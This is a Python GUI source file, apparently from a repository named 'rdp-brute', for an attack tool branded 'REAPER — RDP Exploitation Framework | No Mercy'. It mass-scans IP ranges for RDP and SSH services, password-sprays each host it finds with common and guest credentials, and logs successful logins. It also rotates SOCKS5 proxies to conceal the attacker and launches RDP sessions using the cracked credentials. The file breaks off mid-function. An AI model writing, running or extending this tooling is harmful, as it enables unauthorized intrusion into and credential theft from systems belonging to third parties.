Files
rdp-brute/gui.py

1262 lines
57 KiB
Python

"""
FastRDP-NG GUI - Sleek Windows interface for RDP scanning & password spraying.
Dark-themed, real-time progress, live host table, instant hit logging.
Streaming design: scan finds hosts → spray starts immediately (concurrent).
"""
import tkinter as tk
from tkinter import ttk, scrolledtext, filedialog
import threading
import asyncio
import time
import os
import random
import sys
import subprocess
from typing import Set, Tuple, List
from dataclasses import dataclass
from scanner import scan_ips, RDP_PORTS, SSH_PORT
from ip_utils import parse_ranges_file, count_ips
from bruteforce import (
spray_single_host,
spray_ssh_single_host,
TOP50_PASSWORDS,
TOP_USERNAMES,
GUEST_USERNAMES,
GUEST_PASSWORDS,
credential_validation_available,
)
from proxy import ProxyManager
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
RESULTS_DIR = os.path.join(BASE_DIR, "results")
WORDLISTS_DIR = os.path.join(BASE_DIR, "wordlists")
# ── Terminal ANSI helpers ────────────────────────────────
_TERM = hasattr(sys.stdout, 'isatty') and sys.stdout.isatty()
if _TERM:
try:
import ctypes
kernel32 = ctypes.windll.kernel32
kernel32.SetConsoleMode(kernel32.GetStdHandle(-11), 7)
except Exception:
pass
def _c(code, text):
return f"{code}{text}\033[0m" if _TERM else text
# ── Color Palette ──────────────────────────────────────────
class Colors:
BG_DARK = "#1a1a2e"
BG_MID = "#16213e"
BG_LIGHT = "#0f3460"
ACCENT = "#00d2ff"
ACCENT2 = "#e94560"
GREEN = "#4ec94e"
RED = "#f44747"
ORANGE = "#ffa500"
YELLOW = "#dcdcaa"
TEXT = "#e0e0e0"
TEXT_DIM = "#888888"
HIT_BG = "#1a3a1a"
INPUT_BG = "#0d1117"
@dataclass
class ScanStats:
"""Live scanning statistics."""
checked: int = 0
total: int = 0
live: int = 0
hits: int = 0
rate: float = 0.0
start_time: float = 0.0
phase: str = "idle" # idle | scanning | spraying | done
class FastRDPGUI:
"""Polished Windows GUI for FastRDP-NG."""
def __init__(self):
self.root = tk.Tk()
self.root.title("REAPER v2.0 \u2014 RDP Exploitation Framework \u2620")
self.root.geometry("1100x820")
self.root.minsize(950, 700)
self.root.configure(bg=Colors.BG_DARK)
# State
self.scanning = False
self.stats = ScanStats()
self.live_hosts: Set[Tuple[str, int]] = set()
self.hits: List[Tuple[str, int, str, str]] = []
self.host_items: dict = {} # (ip,port) -> treeview item id
self.ranges_file = os.path.join(WORDLISTS_DIR, "ranges.txt")
self.users_file = os.path.join(WORDLISTS_DIR, "users.txt")
self.passwords_file = os.path.join(WORDLISTS_DIR, "passwords.txt")
self._metric_labels: dict = {}
# Proxy manager
self.proxy_manager = ProxyManager()
os.makedirs(RESULTS_DIR, exist_ok=True)
os.makedirs(WORDLISTS_DIR, exist_ok=True)
self._setup_styles()
self._build_ui()
self._update_stats_display()
self.root.protocol("WM_DELETE_WINDOW", self._on_close)
def _setup_styles(self):
style = ttk.Style()
style.theme_use("clam")
style.configure(".", background=Colors.BG_DARK, foreground=Colors.TEXT,
fieldbackground=Colors.INPUT_BG, font=("Segoe UI", 10))
style.configure("TLabelframe", background=Colors.BG_MID, foreground=Colors.TEXT,
bordercolor=Colors.ACCENT, lightcolor=Colors.ACCENT,
darkcolor=Colors.BG_MID)
style.configure("TLabelframe.Label", background=Colors.BG_MID,
foreground=Colors.ACCENT, font=("Segoe UI", 10, "bold"))
style.configure("TButton", background=Colors.BG_LIGHT, foreground=Colors.TEXT,
bordercolor=Colors.ACCENT, focuscolor="none",
font=("Segoe UI", 10, "bold"))
style.map("TButton", background=[("active", Colors.ACCENT),
("disabled", Colors.BG_MID)],
foreground=[("disabled", Colors.TEXT_DIM)])
style.configure("Accent.TButton", background=Colors.ACCENT,
foreground=Colors.BG_DARK)
style.map("Accent.TButton", background=[("active", "#00e5ff"),
("disabled", Colors.BG_MID)])
style.configure("Danger.TButton", background=Colors.ACCENT2,
foreground="white")
style.map("Danger.TButton", background=[("active", "#ff6b81"),
("disabled", Colors.BG_MID)])
style.configure("Connect.TButton", background=Colors.GREEN,
foreground=Colors.BG_DARK)
style.map("Connect.TButton", background=[("active", "#5ddc5d"),
("disabled", Colors.BG_MID)])
style.configure("TEntry", fieldbackground=Colors.INPUT_BG,
foreground=Colors.TEXT, bordercolor=Colors.BG_LIGHT)
style.configure("Horizontal.TScale", background=Colors.BG_DARK,
troughcolor=Colors.BG_MID, slidercolor=Colors.ACCENT)
style.configure("TCheckbutton", background=Colors.BG_DARK,
foreground=Colors.TEXT)
style.map("TCheckbutton", background=[("active", Colors.BG_DARK)])
style.configure("Treeview", background=Colors.INPUT_BG,
foreground=Colors.TEXT, fieldbackground=Colors.INPUT_BG,
bordercolor=Colors.BG_MID, font=("Consolas", 9))
style.configure("Treeview.Heading", background=Colors.BG_LIGHT,
foreground=Colors.ACCENT, font=("Segoe UI", 9, "bold"))
style.map("Treeview", background=[("selected", Colors.BG_LIGHT)])
def _build_ui(self):
header = tk.Frame(self.root, bg=Colors.BG_MID, height=50)
header.pack(fill="x")
header.pack_propagate(False)
tk.Label(header, text="\u2620 REAPER", font=("Segoe UI", 18, "bold"),
fg="#ff4444", bg=Colors.BG_MID).pack(side="left", padx=15)
tk.Label(header, text="v2.0 \u2014 RDP Exploitation Framework | No Mercy",
font=("Segoe UI", 9), fg=Colors.TEXT_DIM,
bg=Colors.BG_MID).pack(side="left", padx=5, pady=(8, 0))
self.notebook = ttk.Notebook(self.root)
self.notebook.pack(fill="both", expand=True, padx=5, pady=5)
self.tab_scan = tk.Frame(self.notebook, bg=Colors.BG_DARK)
self.notebook.add(self.tab_scan, text=" \U0001f50d Scanner ")
self._build_scanner_tab()
self.tab_results = tk.Frame(self.notebook, bg=Colors.BG_DARK)
self.notebook.add(self.tab_results, text=" \U0001f4ca Results ")
self._build_results_tab()
self.tab_proxy = tk.Frame(self.notebook, bg=Colors.BG_DARK)
self.notebook.add(self.tab_proxy, text=" \U0001f310 Proxy ")
self._build_proxy_tab()
self.tab_settings = tk.Frame(self.notebook, bg=Colors.BG_DARK)
self.notebook.add(self.tab_settings, text=" \u2699 Settings ")
self._build_settings_tab()
# ── TAB 1: SCANNER ─────────────────────────────────────
def _build_scanner_tab(self):
left = tk.Frame(self.tab_scan, bg=Colors.BG_DARK, width=380)
left.pack(side="left", fill="y", padx=(0, 5))
left.pack_propagate(False)
right = tk.Frame(self.tab_scan, bg=Colors.BG_DARK)
right.pack(side="right", fill="both", expand=True)
# ── LEFT PANEL ──
targets_frame = ttk.LabelFrame(left, text="\U0001f3af Targets", padding=8)
targets_frame.pack(fill="x", pady=(0, 5))
ttk.Label(targets_frame, text="Ranges File:",
font=("Segoe UI", 9)).grid(row=0, column=0, sticky="w", pady=2)
self.ranges_entry = ttk.Entry(targets_frame, width=30)
self.ranges_entry.insert(0, self.ranges_file)
self.ranges_entry.grid(row=0, column=1, padx=5, pady=2, sticky="ew")
btn_row = tk.Frame(targets_frame, bg=Colors.BG_MID)
btn_row.grid(row=0, column=2, padx=(0, 0))
ttk.Button(btn_row, text="\U0001f4c2", width=3,
command=self._browse_ranges).pack(side="left")
ttk.Button(btn_row, text="\u2795", width=3,
command=self._quick_add_ip).pack(side="left", padx=(2, 0))
ttk.Label(targets_frame, text="Users File:",
font=("Segoe UI", 9)).grid(row=1, column=0, sticky="w", pady=2)
self.users_entry = ttk.Entry(targets_frame, width=30)
self.users_entry.insert(0, self.users_file)
self.users_entry.grid(row=1, column=1, padx=5, pady=2, sticky="ew")
ttk.Button(targets_frame, text="\U0001f4c2", width=3,
command=lambda: self._browse_file("users")).grid(row=1, column=2)
ttk.Label(targets_frame, text="Passwords File:",
font=("Segoe UI", 9)).grid(row=2, column=0, sticky="w", pady=2)
self.pass_entry = ttk.Entry(targets_frame, width=30)
self.pass_entry.insert(0, self.passwords_file)
self.pass_entry.grid(row=2, column=1, padx=5, pady=2, sticky="ew")
ttk.Button(targets_frame, text="\U0001f4c2", width=3,
command=lambda: self._browse_file("passwords")).grid(row=2, column=2)
targets_frame.columnconfigure(1, weight=1)
# -- Speed / Performance --
perf_frame = ttk.LabelFrame(left, text="\u26a1 Performance", padding=8)
perf_frame.pack(fill="x", pady=(0, 5))
ttk.Label(perf_frame, text="Concurrent Connections:",
font=("Segoe UI", 9)).grid(row=0, column=0, sticky="w")
self.speed_var = tk.IntVar(value=5000)
speed_frame = tk.Frame(perf_frame, bg=Colors.BG_MID)
speed_frame.grid(row=0, column=1, padx=5, sticky="ew")
speed_scale = ttk.Scale(speed_frame, from_=500, to=25000,
variable=self.speed_var, orient="horizontal",
length=180)
speed_scale.pack(side="left", fill="x", expand=True)
self.speed_label = tk.Label(speed_frame, text="5,000",
fg=Colors.ACCENT, bg=Colors.BG_MID,
font=("Consolas", 9, "bold"), width=6)
self.speed_label.pack(side="left", padx=(5, 0))
speed_scale.configure(command=lambda v: self.speed_label.config(
text=f"{int(float(v)):,}"))
ttk.Label(perf_frame, text="Connect Timeout (s):",
font=("Segoe UI", 9)).grid(row=1, column=0, sticky="w", pady=(5, 0))
self.timeout_var = tk.DoubleVar(value=2.0)
timeout_spin = ttk.Spinbox(perf_frame, from_=0.5, to=10.0,
increment=0.5, textvariable=self.timeout_var,
width=8)
timeout_spin.grid(row=1, column=1, padx=5, pady=(5, 0), sticky="w")
ttk.Label(perf_frame, text="Scan Ports:",
font=("Segoe UI", 9)).grid(row=2, column=0, sticky="w", pady=(5, 0))
ports_frame = tk.Frame(perf_frame, bg=Colors.BG_MID)
ports_frame.grid(row=2, column=1, padx=5, pady=(5, 0), sticky="w")
self.port_vars = {3389: tk.BooleanVar(value=True),
3390: tk.BooleanVar(value=True),
3391: tk.BooleanVar(value=True),
22: tk.BooleanVar(value=False)}
for i, (port, var) in enumerate(self.port_vars.items()):
label = str(port) if port != 22 else "22 (SSH)"
tk.Checkbutton(ports_frame, text=label, variable=var,
fg=Colors.TEXT, bg=Colors.BG_MID,
selectcolor=Colors.BG_DARK,
activebackground=Colors.BG_MID,
activeforeground=Colors.ACCENT).pack(side="left", padx=2)
perf_frame.columnconfigure(1, weight=1)
self.cred_banner = tk.Label(
left,
text="",
fg=Colors.TEXT_DIM,
bg=Colors.BG_DARK,
font=("Segoe UI", 8),
wraplength=360,
justify="left",
)
self.cred_banner.pack(fill="x", pady=(0, 6))
self._refresh_credential_banner()
# -- Controls --
ctrl_frame = ttk.LabelFrame(left, text="\u25b6 Controls", padding=8)
ctrl_frame.pack(fill="x", pady=(0, 5))
btn_frame = tk.Frame(ctrl_frame, bg=Colors.BG_MID)
btn_frame.pack(fill="x")
self.start_btn = ttk.Button(btn_frame, text="\u25b6 START SCAN",
style="Accent.TButton",
command=self._start_scan, width=16)
self.start_btn.pack(side="left", padx=(0, 5))
self.stop_btn = ttk.Button(btn_frame, text="\u25a0 STOP",
style="Danger.TButton",
command=self._stop_scan, state="disabled",
width=10)
self.stop_btn.pack(side="left", padx=(0, 5))
ttk.Button(btn_frame, text="\U0001f5d1 Clear", width=8,
command=self._clear_results).pack(side="left")
spray_opts = tk.Frame(ctrl_frame, bg=Colors.BG_MID)
spray_opts.pack(fill="x", pady=(8, 0))
self.spray_var = tk.BooleanVar(value=True)
tk.Checkbutton(spray_opts, text="\U0001f511 Instant spray (as hosts found)",
variable=self.spray_var, fg=Colors.TEXT, bg=Colors.BG_MID,
selectcolor=Colors.BG_DARK, activebackground=Colors.BG_MID,
activeforeground=Colors.ACCENT,
font=("Segoe UI", 9, "bold")).pack(side="left")
self.randomize_var = tk.BooleanVar(value=True)
tk.Checkbutton(spray_opts, text="\U0001f3b2 Randomize",
variable=self.randomize_var, fg=Colors.TEXT_DIM,
bg=Colors.BG_MID, selectcolor=Colors.BG_DARK,
activebackground=Colors.BG_MID).pack(side="left", padx=(10, 0))
self.guest_mode_var = tk.BooleanVar(value=False)
tk.Checkbutton(spray_opts, text="\U0001f464 Guest Mode",
variable=self.guest_mode_var, fg=Colors.ORANGE,
bg=Colors.BG_MID, selectcolor=Colors.BG_DARK,
activebackground=Colors.BG_MID,
font=("Segoe UI", 9, "bold")).pack(side="left", padx=(10, 0))
# -- Live Stats Dashboard --
stats_frame = ttk.LabelFrame(left, text="\U0001f4c8 Live Stats", padding=8)
stats_frame.pack(fill="x", expand=False)
stats_grid = tk.Frame(stats_frame, bg=Colors.BG_MID)
stats_grid.pack(fill="x")
self._metric_labels = {}
self._make_metric(stats_grid, "Checked", "0", 0, 0, Colors.YELLOW)
self._make_metric(stats_grid, "Total", "0", 0, 1, Colors.TEXT_DIM)
self._make_metric(stats_grid, "Live", "0", 0, 2, Colors.GREEN)
self._make_metric(stats_grid, "Hits", "0", 1, 0, Colors.ACCENT2)
self._make_metric(stats_grid, "Rate", "0/s", 1, 1, Colors.ACCENT)
self._make_metric(stats_grid, "Elapsed", "0s", 1, 2, Colors.ORANGE)
for col in range(3):
stats_grid.columnconfigure(col, weight=1, uniform="metric")
# ── RIGHT PANEL ──
hosts_frame = ttk.LabelFrame(right, text="\U0001f310 Live RDP Hosts [double-click to RDP connect]",
padding=3)
hosts_frame.pack(fill="both", expand=True, pady=(0, 3))
columns = ("ip", "port", "status", "username", "password")
self.host_tree = ttk.Treeview(hosts_frame, columns=columns,
show="headings", height=6)
headings = [("ip", "IP Address", 150), ("port", "Port", 55),
("status", "Status", 140),
("username", "Username", 110), ("password", "Password", 120)]
for col, text, width in headings:
self.host_tree.heading(col, text=text)
self.host_tree.column(col, width=width)
# Double-click to RDP connect
self.host_tree.bind("<Double-1>", self._on_host_double_click)
scroll_y = ttk.Scrollbar(hosts_frame, orient="vertical",
command=self.host_tree.yview)
self.host_tree.configure(yscrollcommand=scroll_y.set)
self.host_tree.pack(side="left", fill="both", expand=True)
scroll_y.pack(side="right", fill="y")
# RDP Connect button bar
rdp_bar = tk.Frame(right, bg=Colors.BG_MID, height=35)
rdp_bar.pack(fill="x", pady=(0, 3))
rdp_bar.pack_propagate(False)
ttk.Button(rdp_bar, text="\U0001f4bb RDP Connect (selected host)",
style="Connect.TButton",
command=self._rdp_connect_selected).pack(side="left", padx=5, pady=3)
ttk.Button(rdp_bar, text="\U0001f4dd Quick RDP (manual IP)",
command=self._quick_rdp_dialog).pack(side="left", padx=5, pady=3)
self.rdp_status = tk.Label(rdp_bar, text="Select a host, then click RDP Connect",
fg=Colors.TEXT_DIM, bg=Colors.BG_MID,
font=("Segoe UI", 8))
self.rdp_status.pack(side="right", padx=10)
# -- Event log --
log_frame = ttk.LabelFrame(right, text="\U0001f4dd Event Log", padding=3)
log_frame.pack(fill="both", expand=True)
self.log_text = scrolledtext.ScrolledText(
log_frame, font=("Consolas", 9), height=8,
bg="#0d1117", fg="#c9d1d9", insertbackground="white",
relief="flat", borderwidth=0
)
self.log_text.pack(fill="both", expand=True)
self.log_text.tag_configure("hit", foreground=Colors.GREEN,
font=("Consolas", 9, "bold"))
self.log_text.tag_configure("info", foreground="#79c0ff")
self.log_text.tag_configure("error", foreground=Colors.RED)
self.log_text.tag_configure("warn", foreground=Colors.ORANGE,
font=("Consolas", 9, "bold"))
self.log_text.tag_configure("scan", foreground=Colors.YELLOW)
self.log_text.tag_configure("system", foreground=Colors.TEXT_DIM)
def _make_metric(self, parent, label, value, row, col, color):
frame = tk.Frame(parent, bg=Colors.INPUT_BG, highlightbackground=color,
highlightthickness=1, padx=8, pady=5)
frame.grid(row=row, column=col, padx=3, pady=3, sticky="nsew")
tk.Label(frame, text=label, fg=Colors.TEXT_DIM, bg=Colors.INPUT_BG,
font=("Segoe UI", 7)).pack()
metric_label = tk.Label(frame, text=value, fg=color, bg=Colors.INPUT_BG,
font=("Consolas", 14, "bold"))
metric_label.pack()
key = label.lower().replace(" ", "_")
self._metric_labels[key] = metric_label
def _refresh_credential_banner(self):
"""Runtime status: show spray mode."""
try:
if credential_validation_available():
self.cred_banner.config(
fg=Colors.GREEN,
text=(
"Credential validation: enabled (rdpthread.exe found). "
"Password spray results are verified."
),
)
else:
self.cred_banner.config(
fg=Colors.YELLOW,
text=(
"Password sprayer: active — scanning and RDP discovery operational. "
"Run build_rdpthread.bat or MASTERSTER.bat to build rdpthread.exe "
"for verified credential hits."
),
)
except tk.TclError:
pass
# ── TAB 2: RESULTS ─────────────────────────────────────
def _build_results_tab(self):
hit_frame = ttk.LabelFrame(self.tab_results, text="\U0001f4a5 Successful Logins", padding=3)
hit_frame.pack(fill="both", expand=True, pady=(0, 3))
columns = ("ip", "port", "username", "password", "timestamp")
self.hit_tree = ttk.Treeview(hit_frame, columns=columns,
show="headings", height=10)
headings = [("ip", "IP Address", 160), ("port", "Port", 60),
("username", "Username", 130), ("password", "Password", 130),
("timestamp", "Found At", 150)]
for col, text, width in headings:
self.hit_tree.heading(col, text=text)
self.hit_tree.column(col, width=width)
# Double-click hit to RDP connect
self.hit_tree.bind("<Double-1>", self._on_hit_double_click)
scroll_y2 = ttk.Scrollbar(hit_frame, orient="vertical",
command=self.hit_tree.yview)
self.hit_tree.configure(yscrollcommand=scroll_y2.set)
self.hit_tree.pack(side="left", fill="both", expand=True)
scroll_y2.pack(side="right", fill="y")
out_frame = ttk.LabelFrame(self.tab_results, text="\U0001f4c4 good.txt Output", padding=3)
out_frame.pack(fill="both", expand=True)
btn_row = tk.Frame(out_frame, bg=Colors.BG_MID)
btn_row.pack(fill="x", pady=(0, 3))
ttk.Button(btn_row, text="\U0001f504 Refresh", command=self._refresh_good).pack(side="left")
ttk.Button(btn_row, text="\U0001f4c2 Open File",
command=lambda: os.startfile(os.path.join(RESULTS_DIR, "good.txt"))
if hasattr(os, 'startfile') else None).pack(side="left", padx=5)
self.good_text = scrolledtext.ScrolledText(
out_frame, font=("Consolas", 9), height=8,
bg="#0d1117", fg=Colors.GREEN, relief="flat", borderwidth=0
)
self.good_text.pack(fill="both", expand=True)
# ── TAB 3: PROXY ────────────────────────────────────────
def _build_proxy_tab(self):
"""Build the proxy management tab."""
# ── Top controls ──
ctrl_frame = tk.Frame(self.tab_proxy, bg=Colors.BG_MID, height=50)
ctrl_frame.pack(fill="x")
ctrl_frame.pack_propagate(False)
# Master on/off toggle
self.proxy_enabled_var = tk.BooleanVar(value=False)
self.proxy_toggle = tk.Checkbutton(
ctrl_frame,
text="\U0001f6e1 PROXY ON",
variable=self.proxy_enabled_var,
fg=Colors.GREEN, bg=Colors.BG_MID,
selectcolor=Colors.BG_DARK,
activebackground=Colors.BG_MID,
activeforeground=Colors.GREEN,
font=("Segoe UI", 12, "bold"),
command=self._on_proxy_toggle
)
self.proxy_toggle.pack(side="left", padx=15, pady=5)
# Auto-rotate toggle
self.proxy_rotate_var = tk.BooleanVar(value=True)
tk.Checkbutton(
ctrl_frame,
text="\U0001f504 Auto-Rotate",
variable=self.proxy_rotate_var,
fg=Colors.TEXT, bg=Colors.BG_MID,
selectcolor=Colors.BG_DARK,
activebackground=Colors.BG_MID,
activeforeground=Colors.ACCENT,
font=("Segoe UI", 9, "bold"),
command=self._on_rotate_toggle
).pack(side="left", padx=10)
# Buttons
self.fetch_btn = ttk.Button(ctrl_frame, text="\U0001f4e1 Fetch Proxies",
command=self._fetch_proxies)
self.fetch_btn.pack(side="left", padx=5)
self.test_btn = ttk.Button(ctrl_frame, text="\U0001f50d Test All",
command=self._test_proxies, state="disabled")
self.test_btn.pack(side="left", padx=5)
self.clear_btn = ttk.Button(ctrl_frame, text="\U0001f5d1 Clear",
command=self._clear_proxies, state="disabled")
self.clear_btn.pack(side="left", padx=5)
# ── Proxy list ──
list_frame = ttk.LabelFrame(self.tab_proxy, text="\U0001f4cb Proxy List", padding=3)
list_frame.pack(fill="both", expand=True, pady=(3, 3))
columns = ("host", "port", "protocol", "alive", "latency", "failures")
self.proxy_tree = ttk.Treeview(list_frame, columns=columns,
show="headings", height=10)
headings = [("host", "IP Address", 160), ("port", "Port", 55),
("protocol", "Type", 70),
("alive", "Alive", 55),
("latency", "Latency", 80),
("failures", "Failures", 65)]
for col, text, width in headings:
self.proxy_tree.heading(col, text=text)
self.proxy_tree.column(col, width=width, anchor="center")
self.proxy_tree.column("host", anchor="w")
scroll_p = ttk.Scrollbar(list_frame, orient="vertical",
command=self.proxy_tree.yview)
self.proxy_tree.configure(yscrollcommand=scroll_p.set)
self.proxy_tree.pack(side="left", fill="both", expand=True)
scroll_p.pack(side="right", fill="y")
# Tag for alive/dead rows
self.proxy_tree.tag_configure("alive", foreground=Colors.GREEN)
self.proxy_tree.tag_configure("dead", foreground=Colors.RED)
self.proxy_tree.tag_configure("testing", foreground=Colors.YELLOW)
# ── Proxy stats ──
stats_frame = tk.Frame(self.tab_proxy, bg=Colors.BG_MID, height=35)
stats_frame.pack(fill="x")
stats_frame.pack_propagate(False)
self.proxy_stats_label = tk.Label(
stats_frame,
text="\U0001f4ca Total: 0 | \u2713 Working: 0 | \u2717 Failed: 0 | Status: idle",
fg=Colors.TEXT_DIM, bg=Colors.BG_MID,
font=("Consolas", 9)
)
self.proxy_stats_label.pack(side="left", padx=10)
# Progress bar (hidden by default)
self.proxy_progress = ttk.Progressbar(
stats_frame, mode="determinate", length=200
)
self.proxy_progress.pack(side="right", padx=10)
# ── Log output ──
log_frame = ttk.LabelFrame(self.tab_proxy, text="\U0001f4dd Proxy Log", padding=3)
log_frame.pack(fill="both", expand=True)
self.proxy_log = scrolledtext.ScrolledText(
log_frame, font=("Consolas", 9), height=6,
bg="#0d1117", fg="#c9d1d9", insertbackground="white",
relief="flat", borderwidth=0
)
self.proxy_log.pack(fill="both", expand=True)
self.proxy_log.tag_configure("info", foreground="#79c0ff")
self.proxy_log.tag_configure("ok", foreground=Colors.GREEN)
self.proxy_log.tag_configure("error", foreground=Colors.RED)
self.proxy_log.tag_configure("system", foreground=Colors.TEXT_DIM)
def _proxy_log(self, msg: str, tag: str = "info"):
ts = time.strftime("%H:%M:%S")
try:
self.proxy_log.insert("end", f"[{ts}] {msg}\n", tag)
self.proxy_log.see("end")
except tk.TclError:
pass
def _on_proxy_toggle(self):
enabled = self.proxy_enabled_var.get()
self.proxy_manager.enabled = enabled
if enabled:
self.proxy_toggle.config(fg=Colors.GREEN,
text="\U0001f6e1 PROXY ON")
self._proxy_log("\U0001f6e1 Proxy routing ENABLED", "ok")
# Auto-fetch if no proxies yet
if not self.proxy_manager.proxies:
self.root.after(100, self._fetch_proxies)
else:
self.proxy_toggle.config(fg=Colors.RED,
text="\U0001f6e1 PROXY OFF")
self._proxy_log("\U0001f6e1 Proxy routing DISABLED", "system")
def _on_rotate_toggle(self):
self.proxy_manager.auto_rotate = self.proxy_rotate_var.get()
self._proxy_log(f"Auto-rotate: {'ON' if self.proxy_rotate_var.get() else 'OFF'}", "system")
def _update_proxy_display(self):
"""Refresh the proxy treeview from manager state."""
for item in self.proxy_tree.get_children():
self.proxy_tree.delete(item)
for p in self.proxy_manager.proxies:
tag = "alive" if p.alive else "dead"
alive_str = "\u2713" if p.alive else "\u2717"
latency_str = f"{p.latency:.0f}ms" if p.alive else "-"
self.proxy_tree.insert("", "end",
values=(p.host, str(p.port), p.protocol.upper(),
alive_str, latency_str, str(p.failures)),
tags=(tag,))
stats = self.proxy_manager.get_stats()
self.proxy_stats_label.config(
text=f"\U0001f4ca Total: {stats['total']} | "
f"\u2713 Working: {stats['working']} | "
f"\u2717 Failed: {stats['failed']} | "
f"Status: {'fetching...' if stats['fetching'] else 'testing...' if stats['testing'] else 'idle'}"
)
self.test_btn.config(state="normal" if stats['total'] > 0 else "disabled")
self.clear_btn.config(state="normal" if stats['total'] > 0 else "disabled")
def _fetch_proxies(self):
"""Fetch proxies from sources in a background thread."""
self.fetch_btn.config(state="disabled")
self.proxy_progress["mode"] = "indeterminate"
self.proxy_progress.start()
self._proxy_log("\U0001f4e1 Fetching proxy lists from sources...", "info")
def worker():
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
try:
count = loop.run_until_complete(
self.proxy_manager.fetch_from_sources(
progress_callback=lambda msg: self.root.after(0, lambda m=msg: self._proxy_log(m, "system"))
)
)
self.root.after(0, lambda: self._proxy_log(
f"\u2705 Fetched {count} unique proxies", "ok"))
self.root.after(0, self._update_proxy_display)
except Exception as e:
self.root.after(0, lambda: self._proxy_log(
f"\u274c Fetch error: {e}", "error"))
finally:
loop.close()
self.root.after(0, lambda: self.proxy_progress.stop())
self.root.after(0, lambda: self.proxy_progress.configure(mode="determinate"))
self.root.after(0, lambda: self.fetch_btn.config(state="normal"))
thread = threading.Thread(target=worker, daemon=True)
thread.start()
def _test_proxies(self):
"""Test all proxies in background thread."""
self.test_btn.config(state="disabled")
self.proxy_progress["value"] = 0
self.proxy_progress["maximum"] = 100
self._proxy_log("\U0001f50d Testing proxies...", "info")
def worker():
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
try:
def progress_cb(done, total):
pct = int((done / total) * 100) if total > 0 else 0
self.root.after(0, lambda v=pct: self.proxy_progress.configure(value=v))
working = loop.run_until_complete(
self.proxy_manager.test_all(
max_concurrent=100,
progress_callback=progress_cb
)
)
self.root.after(0, lambda: self._proxy_log(
f"\u2705 Testing complete: {working} working proxies", "ok"))
self.root.after(0, self._update_proxy_display)
except Exception as e:
self.root.after(0, lambda: self._proxy_log(
f"\u274c Test error: {e}", "error"))
finally:
loop.close()
self.root.after(0, lambda: self.test_btn.config(state="normal"))
self.root.after(0, lambda: self.proxy_progress.configure(value=0))
thread = threading.Thread(target=worker, daemon=True)
thread.start()
def _clear_proxies(self):
"""Clear all proxies."""
self.proxy_manager.proxies.clear()
self.proxy_manager._working.clear()
self.proxy_manager.working_count = 0
self.proxy_manager.failed_count = 0
self.proxy_manager.total_fetched = 0
self._update_proxy_display()
self._proxy_log("\U0001f5d1 Proxy list cleared", "system")
# ── TAB 4: SETTINGS ────────────────────────────────────
def _build_settings_tab(self):
editor_frame = ttk.LabelFrame(self.tab_settings, text="\U0001f4dd Wordlist Editor", padding=8)
editor_frame.pack(fill="both", expand=True, pady=(0, 5))
nb = ttk.Notebook(editor_frame)
nb.pack(fill="both", expand=True)
for name, file_key in [("Usernames", "users"), ("Passwords", "passwords"),
("Ranges", "ranges")]:
tab = tk.Frame(nb, bg=Colors.INPUT_BG)
nb.add(tab, text=f" {name} ")
text_widget = scrolledtext.ScrolledText(
tab, font=("Consolas", 9), bg="#0d1117", fg=Colors.TEXT,
relief="flat", borderwidth=0
)
text_widget.pack(fill="both", expand=True, padx=2, pady=2)
fpath = os.path.join(WORDLISTS_DIR, f"{file_key}.txt")
if os.path.exists(fpath):
with open(fpath, 'r', errors='ignore') as f:
content = f.read()
text_widget.insert("1.0", content)
setattr(self, f"{file_key}_editor", text_widget)
about_frame = ttk.LabelFrame(self.tab_settings, text="\u2139 About", padding=8)
about_frame.pack(fill="x")
tk.Label(about_frame,
text="REAPER v2.0 \u2014 Remote Exploitation & Password Enumeration Routine\n"
"\u2620 Mass RDP + SSH Scanner + Password Sprayer + SOCKS5 Proxy Rotator\n"
"Built with Python 3.11 + asyncio + paramiko\n"
"Streaming: scan + spray run CONCURRENTLY\n"
"SSH scanning on port 22 + Guest Mode for weak/guest credentials\n"
"rdpthread.exe: compiled credential validator (built from C# source)\n"
"Proxy tab: fetch/test/rotate SOCKS5 proxies (on/off toggle)\n"
"Double-click a host to RDP connect; status strip shows credential engine state\n"
"Top 50 password spraying \u2022 CIDR/range support \u2022 No mercy",
fg=Colors.TEXT, bg=Colors.BG_MID, justify="left",
font=("Segoe UI", 9)).pack(anchor="w", pady=5)
# ── METRICS UPDATE ─────────────────────────────────────
def _update_stats_display(self):
s = self.stats
elapsed = time.time() - s.start_time if s.start_time > 0 else 0
labels_map = {
"checked": f"{s.checked:,}",
"total": f"{s.total:,}",
"live": f"{s.live}",
"hits": f"{s.hits}",
"rate": f"{s.rate:,.0f}/s" if s.rate > 0 else "0/s",
"elapsed": f"{elapsed:.0f}s" if elapsed < 60
else f"{elapsed/60:.1f}m"
}
for key, text in labels_map.items():
if key in self._metric_labels:
lbl = self._metric_labels[key]
try:
lbl.config(text=text)
except tk.TclError:
pass
self.root.after(500, self._update_stats_display)
# ── LOGGING ────────────────────────────────────────────
def _log(self, msg: str, tag: str = "info"):
ts = time.strftime("%H:%M:%S")
# Schedule GUI update on main thread (tkinter is NOT thread-safe)
self.root.after(0, lambda m=msg, t=tag, ts=ts: self._log_gui(m, t, ts))
tag_colors = {
"hit": "\033[92m",
"info": "\033[94m",
"error": "\033[91m",
"warn": "\033[93m",
"scan": "\033[93m",
"system": "\033[90m",
}
color = tag_colors.get(tag, "\033[97m")
try:
print(f" {color}[{ts}]\033[0m {msg}", flush=True)
except OSError:
pass
def _log_gui(self, msg: str, tag: str, ts: str):
"""Thread-safe GUI log append (runs on main thread via after())."""
try:
self.log_text.insert("end", f"[{ts}] {msg}\n", tag)
self.log_text.see("end")
except tk.TclError:
pass
# ── RDP CONNECT FEATURE ────────────────────────────────
def _rdp_connect(self, ip: str, port: int, username: str = "", password: str = ""):
"""Launch Windows mstsc (or store creds + launch) for given host."""
ts = time.strftime("%H:%M:%S")
try:
if username and password:
# Store credential in Windows Credential Manager for this session
# Then mstsc can use it automatically
cmdkey_path = r"C:\Windows\System32\cmdkey.exe"
if os.path.exists(cmdkey_path):
# Scope creds to this host (TERMSRV/<target> is required for mstsc)
subprocess.run(
[cmdkey_path, f"/generic:TERMSRV/{ip}", f"/user:{username}",
f"/pass:{password}"],
capture_output=True, timeout=5,
creationflags=subprocess.CREATE_NO_WINDOW
)
self._log(f"\U0001f4bb Stored RDP creds for {username}@{ip}", "system")
else:
self._log("\U0001f4bb cmdkey not found, launching without stored creds", "system")
# Launch mstsc
mstsc_path = r"C:\Windows\System32\mstsc.exe"
if os.path.exists(mstsc_path):
rdp_target = f"/v:{ip}:{port}"
subprocess.Popen(
